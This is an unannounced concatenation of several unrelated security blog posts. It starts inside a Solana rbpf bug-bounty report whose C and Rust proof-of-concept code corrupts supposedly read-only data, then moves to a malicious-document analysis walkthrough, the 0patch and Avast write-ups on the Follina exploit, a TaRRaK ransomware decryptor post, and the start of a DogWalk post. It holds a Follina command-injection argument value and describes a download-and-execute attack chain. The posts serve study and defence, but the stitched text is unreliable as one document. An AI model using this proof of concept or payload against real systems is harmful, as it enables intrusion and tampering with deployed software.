The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.
The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.
While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.
value_in_ro.c (.so available upon request)
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
analysis-corruption.rs
use std::collections::BTreeMap;
use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
let mut code = BpfCode::default();
code
.load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
.load(MemSize::Word).set_imm(1).push()
.store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
.exit().push();
let prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
let jit_tracer = jit_vm.get_tracer();
let analysis = Analysis::from_executable(&executable);
let stderr = std::io::stderr();
jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
use std::fs::File;
use std::io::Read;
use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
The bug was patched in a mere 4 hours.
Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.
However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.
Okay, so what’d you do with the money??
It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.
The start
“Long is the way and hard, that out of hell leads up to light.”
(by John Milton from Paradise Lost — 1667)
My name is Alexandre Borges and I’m a security researcher focused on reverse engineering, exploit development and programming. Therefore, I’ll try to keep this blog updated and including write-up’s about these topics.
Honestly, I hope you can learn something from my posts.
Please, you should feel free to contact me and comment about any mistake and inaccuracy.
Have an excellent day.
A.B.
exploitreversing
Malicious Document Analysis: Example 1
The PDF version of this article can be found here: https://exploitreversing.files.wordpress.com/2021/11/mda_1-2.pdf
Introduction
While the first article of MAS (Malware Analysis Series)
is not ready, I’m leaving here a very simple case of malicious document analysis for helping my Twitter followers and any professional interested in learning how to analyze this kind of artifact.
Before starting the analysis, I’m going to use the following environment and tools:
- REMnux: https://docs.remnux.org/install-distro/get-virtual-appliance
- Didier Stevens Suite:
https://blog.didierstevens.com/didier-stevens-suite/
- Malwoverview:
https://github.com/alexandreborges/malwoverview
Furthermore, it’s always recommended to install Oletools (from Decalage — @decalage2):
# python -m pip install -U oletools
All three tools above are usually installed on REMnux by default. However, if you are using Ubuntu or any other Linux distribution, so you can install them through links and command above.
Like any common binary, we can analyze any maldoc using static or dynamic analysis, but as my preferred approach is always the former one, so let’s take it.
We’ll be analyzing the following sample: 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc
Downloading sample and gathering information
The first step is getting general information about this hash by using any well-known endpoint such as
Virus Total, Hybrid Analysis, Triage, Malware Bazaar and so on. Therefore, let’s use Malwoverview to do it on the command line and collect information from Malware Bazaar that, fortunately, also brings information from excellent Triage:
remnux@remnux:~/articles$ malwoverview.py -b 1 -B 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc
Analyzing the malicious document
Given the output above, we could try to make an assumption that the dropped executable comes from the own maldoc because Microsoft Office “loads VBA resource, possible macro or embedded object present“. Furthermore, the maldoc seems to elevate privilege (AdjustPrivilege( )), hook (intercept events) by installing a hook procedure into a hook chain (SetWindowsHookEx( )), maybe it makes code injection (WriteProcessMemory( )), so we it’s reasonable to assume these Triage signatures are associate to the an embedded executable. Therefore it’s time to download the malicious document from Triage (you can do it from https://tria.ge/dashboard website, if you wish):
remnux@remnux:~/articles$ malwoverview.py -b 5 -B 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc
Uncompress it by executing the following command (password is “infected“) and collect information using olevba tool:
remnux@remnux:~/articles$ 7z e 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.zip
Using olevba and oleid (from
oletools) to collect further information we have the following outputs:
remnux@remnux:~/articles$ olevba -a 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx
remnux@remnux:~/articles$ oleid 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx
From both previous outputs, important facts come up:
- Some code is executed when the MS Word is executed.
- A file seems to be written to the file system.
- The maldoc seems to open a file (probably the same written above).
- VBA macros are responsible for the entire activity.
The next step is to analyze the maldoc, which is a OLE document, we are going use oledump.py (from Didier Steven’s suite — @DidierStevens) to check the OLE’s internals and try to understand what’s happening:
According to the figure above we have:
- three macros in 16, 17 and 18.
- a big “content” in 11, which could be one of “VBA resources” mentioned Triage’s output.
- Once again, we can decide to use dynamic analysis (a debugger) or static analysis to expose the real threat hidden inside this malicious document, but let’s proceed with static analysis because it will bring more details while addressing the problem.
In the next step we need to check the macros’ content by uncompressing their contents (-v option) using oledump.py:
remnux@remnux:~/articles$ oledump.py -s 16 -v 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx | more
There’re few details that can be observed from output above:
- Obviously the code is obfuscated.
- The Split function, which returns a zero-based and one-dimensional array containing substrings, manipulates the content from UserForm1 (object 11) and, apparently, this content is divided in four parts (TextBox1, TextBox2, TextBox3 and TextBox4). In addition, the UserForm1 content seems to be separated by “!” character.
- The UserForm2 is also being (TextBox1 and TextBox2) in a MoveFile operation.
- The Winmgmt service, which is a WMI service operating inside the svchost process under LocalSystem account, is being used to execute an operation given by UserForm2.TextBox5.
- The UserForm2.Text6 is used to create a reference to an object provided by ActiveX.
- The UserForm2.Text7 is being used to save some content as a binary file.
Therefore we must investigate the content of object 15 (Macros/UserForm2/o):
remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 15 -d | strings
=
We can infer from figure above that:
- UserForm2.Text1: C:\Users\Public\Pictures\winword.con
- UserForm2.Text2: C:\Users\Public\Pictures\winword.exe
- We are moving winword.com
to winword.exe within C:\Users\Public\Pictures\ directory.
- UserForm2.Text3: Scripting.FileSystemObject
- UserForm2.Text4: winmgmts:{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2}
- UserForm2.Text5: Win32_ProcessStartup
- UserForm2.Text6: winmgmts:root\cimv2:Win32_Process
- UserForm2.Text7: ADODB.Stream
The remaining macros don’t hold nothing really critical for our analysis this time:
remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 17 -v | strings | tail +9
remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 18 -v | strings | tail +9
Analyzing the image above (check SaveBinaryData()
function) and previous figures, it’s reasonable to assume that an executable, which we don’t know yet, will be saved as “winword.com“ and later it will be renamed to “winword.exe“ within C:\Users\Public\Pictures\ directory. Finally, the binary will be executed by calling objProcess.create() function.
At this point, we should verify the content of object 11 (check “Macros/UserForm1/o“) because it likely contain our “hidden” executable. Thus, run the following command:
remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 11 -d | more
As we expected and mentioned previously, these decimal numbers are separated by “!” character.
Additionally, there’s a catch: according to last figure, this object has 4 parts (UserForm1.Text1, UserForm1.Text2, UserForm1.Text3 and UserForm1.Text4), so we should dump it into a file (dump1), edit and “join” all parts.
To dump the “object 11” into a file (named dump1) execute the following command: :
remnux@remnux:~/articles$ oledump.py 59ed41388826fed419cc3b18d28707491a4fa51309935c4fa016e53c6f2f94bc.docx -s 11 -d > dump1
We need to “clean up” dump1 file:
- Editing the file using “vi” command or any other editor.
- Using “$” to go to the end of each line.
- Removing occurrences of “Tahoma” word and any garbage (easily identified) from the text.
- Join this line with the next one (“J” command on “vi“)
After editing the dump1 file, we have two replace all “!” characters by commas, and transform all decimal numbers into hex bytes. First, replace all “!” characters by comma using a simple “sed” command:
remnux@remnux:~/articles$ sed -e ‘s/!/,/g’ dump1 > dump3
remnux@remnux:~/articles$ cat dump3 | more
From this point we have to process and transform this file (dump3) to something useful end we have two clear options:
- We can use the amazing CyberChef (https://gchq.github.io/CyberChef/).
- We can write a Python 3 code to statically decode the dump3 file into a possible executable.
I’m going to show you both methods, though I always prefer programming a small script. Please, pay attention to the fact that all decimal numbers are separated by comma, so it will demand an extra concern during the decoding operation.
To decode this file on CyberChef you have to:
- Load it onto CyberChef’s input pane. There’s an button on top-right to do it.
- Pick up “From Decimal” operation and configure the delimiter to “Comma”.
Afterwards, you’ll see an executable in the Output pane, which can be saved onto file system.
Saving the file from Output pane, save the file and check its type:
remnux@remnux:~/Downloads$ file download.dat
download.dat: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
It’s excellent! Let’s now write a simple Python code named python_convert.py to perform the same operation and get the same result:
remnux@remnux:~/articles$ python3.8 ./python_convert_1.py
remnux@remnux:~/articles$ file final_file.bin
final_file.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
As we expected, it’s worked! Finally, let’s check the final binary on Virus Total and Triage to learn a bit further about the extracted binary (next figures):
It would be super easy to extract the same malware from the maldoc by using dynamic analysis. You’ll find out that a password is protecting the VBA Project, but this quite trivial to remove this kind of protection:
That’s it! I hope you have learned something new from this article and see you at next next one.
A.B.
BHACK 2021 Conference
Slides from my talk “Introduction to Go Reversing” on BHACK Conference 2021 is available on:
(link): https://exploitreversing.files.wordpress.com/2021/11/bhack_2021_alexandreborges.pdf
Have an excellent day.
A.B.
Malware Analysis Series (MAS) – Article 1
The first article of MAS (Malware Analysis Series) is available for reading from:
(link): https://exploitreversing.files.wordpress.com/2021/12/mas_1_rev_1.pdf
Soon I have enough time, so I’ll publish an HTML version of it.
Have an excellent day.
Alexandre Borges.
PS: this is a live document, so new versions of it will be published soon errors and mistakes are found.
Malicious Document Analysis: Example 2
I returned to write the second article of Malware Analysis Series (MAS) last January/08 after receiving an outstanding support from a high-profile professional and company of the industry, but while the article is not ready (I working on page 43 and far from the end), I spent a couple of hours writing a simple and short article on malicious document analysis. I hope it helps someone.
The PDF version is available on: https://exploitreversing.files.wordpress.com/2022/01/mda_2-2.pdf
Keep reversing and have an excellent day.
Alexandre Borges.
Malware Analysis Series (MAS) – Article 2
The second article of MAS (Malware Analysis Series) is available for reading on:
(link): https://exploitreversing.files.wordpress.com/2022/02/mas_2.pdf
I hope you like it and keep reversing!
Have an excellent day.
Alexandre Borges.
Malware Analysis Series (MAS) – Article 3
The third article of MAS (Malware Analysis Series) is available for reading on:
(link): https://exploitreversing.files.wordpress.com/2022/05/mas_3.pdf
I hope you like it and keep reversing!
Have an excellent day.
Alexandre Borges.
Malware Analysis Series (MAS) – Article 4
The fourth article in the Malware Analysis Series (MAS) is available for reading on:
(link): https://exploitreversing.files.wordpress.com/2022/05/mas_4.pdf
I hope you like it and keep reversing!
Have an excellent day.
Alexandre Borges.
Free Micropatches For "Follina" Microsoft Diagnostic Tool Remote Code Execution 0day (CVE-2022-30190)
by Mitja Kolsek, the 0patch Team
[Update 6/2/2022: Additional patches were issued for Windows Servers]
[Update 15/6/2022: Microsoft issued an official patch for this vulnerability. They implemented functionally the same security check in msdt.exe as we had in sdiagnhost.exe, namely checking for the presence of "$(" in the user-provided path. With official patches being available, our micropatches for this vulnerability are no longer free but require PRO or Enterprise license.]
It was a quiet Sunday evening with a promise of enjoying a few chapters of The End of Everything by Katie Mack (an excellent book if long-term planning is your thing) when a tweet from Kevin Beaumont came by, opening with "This is a nice find." Knowing Kevin - at lest on Twitter - this often translates to "It's going to be a long night."
The tweet quoted by Kevin was actually from Friday, where nao_sec stated that an "Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code."
A remote code execution vulnerability was obviously spotted getting exploited in the wild. The vulnerability, quickly confirmed by many researchers using various versions of fully updated Microsoft Office, allowed a Word document to execute arbitrary PowerShell commands on the computer with little user interaction. It utilized the "ms-msdt:" URL scheme registered by default on all modern Windows versions to execute the Diagnostic Tool msdt.exe with malicious arguments.
It all looked very similar to CVE-2021-40444, where a malicious Word document would load a remote HTML template, which in turn opened a special type of URL to launch attacker's executable. But it was even "better" because no malicious executable needed to be dropped on victim's computer to be subsequently executed, as PowerShell commands have all the power the attacker ever needs.
For more details about the context, see Kevin's article which keeps getting updated as new data becomes available. Kevin is an unofficial authority for naming 0days and he dubbed this one "Follina"; Microsoft subsequently assigned it CVE-2022-30190 after having rejected a submission by researcher CrazymanArmy as "not a security-related issue."
The Vulnerability
This issue is widely considered a vulnerability in Office, due to Office documents being an efficient vehicle for delivering a "ms-msdt:" URL and having it rendered without restrictions with user's identity. However, we believe the actual problem to be the PowerShell command injection accessible via the IT_BrowseForFile argument of msdt.exe application, as first noted by Alec Wiese. While allowing an Office document to launch an application via special URL scheme may be providing an unneeded attack surface (which may lead to additional similar 0days being discovered in the future), this would all have been a non-issue without the command execution.
So where does the PowerShell command execution come from? A minimized POC triggering the vulnerability contains this parameter for msdt.exe:
IT_BrowseForFile=/../../$(calc).exe
The IT_BrowseForFile value contains a PowerShell subexpression "$(calc)", which results in executing the "calc" command in PowerShell, and that launches the Calculator app. Now why does this get executed at all? To find the answer, we need to see where the data passed to msdt.exe travels. One could use Process Monitor and debugger to find out, but we decided to use Tetrane REVEN, a powerful tool for reverse engineering which often saves us a lot of time with vulnerability analyses.
Tetrane REVEN during our analysis of this vulnerability, making it easy to trace data, inspect memory and find a good location for patching |
Using REVEN, we could see the value in question traveling:
- from msdt.exe via an ALPC call to
- DCOM Server Process Launcher (hosted inside a svchost.exe), which launches
- sdiagnhost.exe that receives the data from msdt.exe, and passes it on to a RunScript call to execute
- PowerShell script TS_ProgramCompatibilityWizard.ps1 (in folder C:\Windows\diagnostics\system\PCW), which - inadvertently - gets the attacker's PowerShell subexpression executed by putting it in an Invoke-Expression call.
Note that TS_ProgramCompatibilityWizard.ps1 seems to be very much aware of the possibility of a "PowerShell subexpression injection" and dutifully sanitizes user-provided data in many places by replacing all occurrences of "$" with "`$", for example:
$appName = $choice["Name"].Replace("$", "`$")
Unfortunately, the one in IT_BrowseForFile argument slips by and still gets executed.
Our Micropatch
It would be by far the simplest for us to just disable msdt.exe by patching it with a TerminateProcess() call. However, that would render Windows diagnostic wizardry inoperable, even for non-Office applications. Another option was to codify Microsoft's recommendation into a patch, effectively disabling the ms-msdt: URL protocol handler.
But when possible, we want to minimize our impact outside of removing the vulnerability, so we decided to place our patch in sdiagnhost.exe before the RunScript call and check if the user-provided path contains a "$(" sequence - which is necessary for injecting a PowerShell subexpression. If one is detected, we make sure the RunScript call is bypassed while the Diagnostic Tool keeps running.
In IDA, our patch looks like this (green blocks are our code, blue block is original code relocated to a trampoline, value of rdx is used to emulate an error):
And a video of our patch in action. Since this vulnerability can be triggered via different vectors (not just Office documents), the video demonstrates how 0patch blocks an attack via msdt.exe, regardless of how msdt.exe got launched.
Note that sdiagnhost.exe, which is where our patch resides, has been last modified in Dec 2019 or even earlier on all patched Windows versions (except Windows 11, where it's naturally younger). This means our patch will be applied even if you have skipped many Windows Update cycles.
Also Note that it doesn't matter which version of Office you have installed, or if you have Office installed at all: the vulnerability could also be exploited through other attack vectors. That is why we also patched Windows 7, where the ms-msdt: URL handler is not registered at all.Micropatch Availability
Since this is a "0day" vulnerability with no official vendor fix available, we are providing our micropatches for free until such fix becomes available.
Micropatches were written for:
- Windows 11 v21H2
-
Windows 10 v21H2
-
Windows 10 v21H1
-
Windows 10 v20H2
- Windows 10 v2004
- Windows 10 v1909
- Windows 10 v1903
- Windows 10 v1809
- Windows 10 v1803
-
Windows 7
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2012 R2
- Windows Server 2016
- Windows Server 2019
These micropatches have already been distributed to all online 0patch Agents. If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboot will be needed.
We'd like to thank nao_sec for publishing exploitation details, which allowed us to reproduce the vulnerability and create a micropatch, and all other security researchers who have shared their findings with public or privately with us. We also encourage security researchers to privately share their analyses with us for micropatching.
Outbreak of Follina in Australia
Our threat hunters have been busy searching for abuse of the recently-released zero-day remote code execution bug in Microsoft Office (CVE-2022-30190
). As part of their investigations, they found evidence of a threat actor hosting malicious payloads on what appears to be an Australian VOIP telecommunications provider
with a presence in the South Pacific nation of Palau
.
Further analysis indicated that targets in Palau
were sent malicious documents that, when opened, exploited this vulnerability, causing victim computers to contact the provider’s website, download and execute the malware, and subsequently become infected.
Key Observations
This threat was a complex multi-stage operation utilizing LOLBAS
(Living off the Land Binaries And Scripts), which allowed the attacker to initialize the attack using the CVE-2022-30190
vulnerability within the Microsoft Support Diagnostic Tool
. This vulnerability enables threat actors to run malicious code without the user downloading an executable to their machine which might be detected by endpoint detection.
Multiple stages of this malware were signed with a legitimate company certificate to add additional legitimacy and minimize the chance of detection.
First stage
The compromised website, as pictured in the screenshot below, was used to host robots.txt
which is an executable which was disguised as “robots.txt”. We believe the name was used to conceal itself from detection if found in network logs. Using the Diagnostics Troubleshooting Wizard (msdt.exe
), this file “robots.txt” was downloaded and saved as the file (Sihost.exe
) and then executed.
Second Stage, Sihost.exe
When the renamed “robots.txt” – “Sihost.exe” – was executed by msdt.exe it downloaded the second stage of the attack which was a loader with the hash b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447
. This executable was then used to download and decrypt the third stage of the attack, an encrypted file stored as ‘favicon.svg
’ on the same web server.
Third stage, favicon.svg
After this file has been decrypted, it is used to download the fourth stage of the attack from palau.voipstelecom.com[.]au.
These files are named Sevntx64.exe
and Sevntx.lnk
, which are then executed on the victims’ machine.
Fourth Stage, Sevntx64.exe and Sevntx64.lnk
When the file is executed, it loads a 66kb
shellcode from the AsyncRat
malware family; Sevntx64.exe
is signed with the same compromised certificate as seen previously in “robots.txt”.
The screenshot below shows the executable loading the shellcode.
Final Stage, AsyncRat
When the executable is loaded, the machine has been fully compromised with AsyncRat; the trojan is configured to communicate with the server palau[.]voipstelecom[.]com[.]au
on port 443
.
AsyncRat SHA256:
aba9b566dc23169414cb6927ab5368b590529202df41bfd5dded9f7e62b91479
Screenshot below with AsyncRat configuration:
Conclusion
We highly recommend Avast Software to protect against the latest threats, and Microsoft patches to protect your Windows systems from the latest CVE-2022-30190
vulnerability.
IOCs:
item | sha256 |
main webpage |
0af202af06aef4d36ea151c5a304414a67aee18c3675286275bd01d11a760c04 |
robots.txt |
b63fbf80351b3480c62a6a5158334ec8e91fecd057f6c19e4b4dd3febaa9d447 |
favicon.svg | ed4091700374e007ae478c048734c4bc0b7fe0f41e6d5c611351bf301659eee0 |
decrypted favicon.svg | 9651e604f972e36333b14a4095d1758b50decda893e8ff8ab52c95ea89bb9f74 |
Sevntx64.exe |
f3ccf22db2c1060251096fe99464002318baccf598b626f8dbdd5e7fd71fd23f |
Sevntx64.lnk |
33297dc67c12c7876b8052a5f490cc6a4c50a22712ccf36f4f92962463eb744d |
shellcode from Sevntx64.exe (66814 bytes) | 7d6d317616d237ba8301707230abbbae64b2f8adb48b878c528a5e42f419133a |
asyncrat | aba9b566dc23169414cb6927ab5368b590529202df41bfd5dded9f7e62b91479 |
Bonus
We managed to find an earlier version of this malware.
file | hash | first seen | country |
Grievance Against Lawyers, Judge or Justice.doc.exe (signed) |
87BD2DDFF6A90601F67499384290533701F5A5E6CB43DE185A8EA858A0604974 |
26.05.2022 | NL, proxy |
Grievance Against Lawyers, Judge or Justice (1).zip\Grievance Against Lawyers, Judge or Justice.doc.exe | 0477CAC3443BB6E46DE9B904CBA478B778A5C9F82EA411D44A29961F5CC5C842 |
18.05.2022 | Palau, previous victim |
Forensic information from the lnk file:
field | value |
Application | Sevntx64.exe |
Accessed time | 2022-05-19 09:34:26 |
Birth droid MAC address | 00:0C:29:59:3C:CC |
Birth droid file ID | 0e711e902ecfec11954f000c29593ccc |
Birth droid volume ID | b097e82425d6c944b33e40f61c831eaf |
Creation time | 2022-05-19 10:29:34 |
Drive serial number | 0xd4e21f4f |
Drive type | DRIVE_FIXED |
Droid file ID | 0e711e902ecfec11954f000c29593ccc |
Droid volume ID | b097e82425d6c944b33e40f61c831eaf |
File flags | FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_READONLY |
Known folder ID | af2448ede4dca84581e2fc7965083634 |
Link flags | EnableTargetMetadata, HasLinkInfo, HasRelativePath, HasTargetIDList, HasWorkingDir, IsUnicodeLocal |
base path | C:\Users\Public\Documents\Sevntx64.exe |
Location | Local |
MAC address | 00:0C:29:59:3C:CC |
Machine identifier | desktop-eev1hc3 |
Modified time | 2020-08-19 04:13:44 |
Relative path | .\Sevntx64.exe |
Size | 1543 |
Target file size | 376368 |
Working directory | C:\Users\Public\Documents |
The post Outbreak of Follina in Australia appeared first on Avast Threat Labs.
Decrypted: TaRRaK Ransomware
The TaRRaK
ransomware appeared in June of 2021. This ransomware contains many coding errors, so we decided to publish a small blog about them. Samples of this ransomware were spotted in our user base, so we also created a decryptor for this ransomware.
Skip to instructions on how to use the TaRRaK decryptor.
Behavior of the ransomware
The ransomware is written in .NET. The binary is very clean and contains no protections or obfuscations. When executed, the sample creates a mutex named TaRRaK
in order to ensure that only one instance of the malware is executed. Also, an auto-start registry entry is created in order to execute the ransomware on every user login:
The ransomware contains a list of 178 file types (extensions) that, when found, are encrypted:
3ds 7z 7zip acc accdb ai aif apk asc asm asf asp aspx avi backup bak bat bin bmp c cdr cer cfg cmd cpp crt crw cs csproj css csv cue db db3 dbf dcr dds der dmg dng doc docm docx dotx dwg dxf dxg eps epub erf flac flv gif gpg h html ico img iso java jpe jpeg jpg js json kdc key kml kmz litesql log lua m3u m4a m4u m4v max mdb mdf mef mid mkv mov mp3 mp4 mpa mpeg mpg mrw nef nrw obj odb odc odm odp ods odt orf p12 p7b p7c part pdb pdd pdf pef pem pfx php plist png ppt pptm pptx ps ps1 psd pst ptx pub pri py pyc r3d raf rar raw rb rm rtf rwl sav sh sln suo sql sqlite sqlite3 sqlitedb sr2 srf srt srw svg swf tga thm tif tiff tmp torrent txt vbs vcf vlf vmx vmdk vdi vob wav wma wmi wmv wpd wps x3f xlk xlm xls xlsb xlsm xlsx xml zip
The ransomware avoids folders containing one the following strings:
All Users\Microsoft\
$Recycle.Bin
:\Windows
\Program Files
Temporary Internet Files
\Local\Microsoft\
:\ProgramData\
Encrypted files are given a new extension .TaRRaK
. They also contain the TaRRaK signature at the beginning of the encrypted file:
File Encryption
Implementation of the encryption is a nice example of a buggy code:
First, the ransomware attempts to read the entire file to memory using File.ReadAllBytes()
. This function has an internal limit – a maximum of 2 GB
of data can be loaded. In case the file is larger, the function throws an exception, which is then handled by the try-catch block. Unfortunately, the try-catch block only handles a permission-denied condition. So it adds an ACL entry granting full access to everyone and retries the read data operation. In case of any other error (read failure, sharing violation, out of memory, read from an offline file), the exception is raised again and the ransomware is stuck in an infinite loop.
Even if the data load operation succeeds and the file data can be fit in memory, there’s another catch. The Encrypt
function converts the array of bytes to an array of 32-bit integers:
So it allocates another block of memory with the same size as the file size. It then performs an encryption operation, using a custom encryption algorithm. Encrypted Uint32 array is converted to another array of bytes and written to the file. So in addition to the memory allocation for the original file data, two extra blocks are allocated. If any of the memory allocations fails, it throws an exception and the ransomware is again stuck in an infinite loop.
In the rare case when the encryption process finishes (no sharing violation or another error), the ransom note file named Encrypted Files by TaRRaK.txt
is dropped to the root folder of each drive:
Files with the .TaRRaK
extension are associated with their own icon:
Finally, desktop wallpaper is set to the following bitmap:
How to use the Avast decryptor to decrypt files encrypted by TaRRaK Ransomware
To decrypt your files, follow these steps:
- You must be logged to the same user account like the one under which the files were encrypted.
- Download the free Avast decryptor for 32-bit or 64-bit Windows.
- Run the executable file. It starts in the form of a wizard, which leads you through the configuration of the decryption process.
- On the initial page, you can read the license information, if you want, but you really only need to click “Next”
- On the next page, select the list of locations you want to be searched and decrypted. By default, it contains a list of all local drives:
- On the final page, you can opt-in to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.
IOCs
SHA25600965b787655b23fa32ef2154d64ee9e4e505a42d70f5bb92d08d41467fb813d
47554d3ac4f61e223123845663c886b42016b4107e285b7da6a823c2f5050b86
aafa0f4d3106755e7e261d337d792d3c34fc820872fd6d1aade77b904762d212
af760d272c64a9258fab7f0f80aa2bba2a685772c79b1dec2ebf6f3b6738c823
The post Decrypted: TaRRaK Ransomware appeared first on Avast Threat Labs.
Microsoft Diagnostic Tool "DogWalk" Package Path Traversal Gets Free Micropatches (CVE-2022-34713)
by Mitja Kolsek, the 0patch Team
Update 8/10/2022: August 2022 Windows Updates brought an official fix for this vulnerability with assigned CVE-2022-34713. Our users were therefore protected from this issue whole 63 days before an official fix got available, and remain protected until they install August Windows Updates. These micropatches from now on require a PRO or Enterprise license.
With the "Follina" / CVE-2022-30190 0day still hot, i.e., still waiting for an official fix while apparently already getting exploited by nation-backed attackers, another related unfixed vulnerability in Microsoft's Diagnostic Tool (MSDT) bubbled to the surface.
In January 2020, security researcher Imre Rad published an article titled "The trouble with Microsoft’s Troubleshooters," describing a method for having a malicious executable file being saved to user's Startup folder, where it would subsequently get executed upon user's next login. What the user has to do for this to happen is open a "diagcab" file, an archive in the Cabinet (CAB) file format that contains a diagnostics configuration file.
According to Imre's article, this issue was reported to Microsoft but their position was that it was not a security issue worth fixing. This was their response:
"There are a number of file types that can execute code in such a way but aren’t technically “executables”. And a number of these are considered unsafe for users to download/receive in email, even .diagcab is blocked by default in Outlook on the web and other places. This is noted a number of places online by Microsoft.
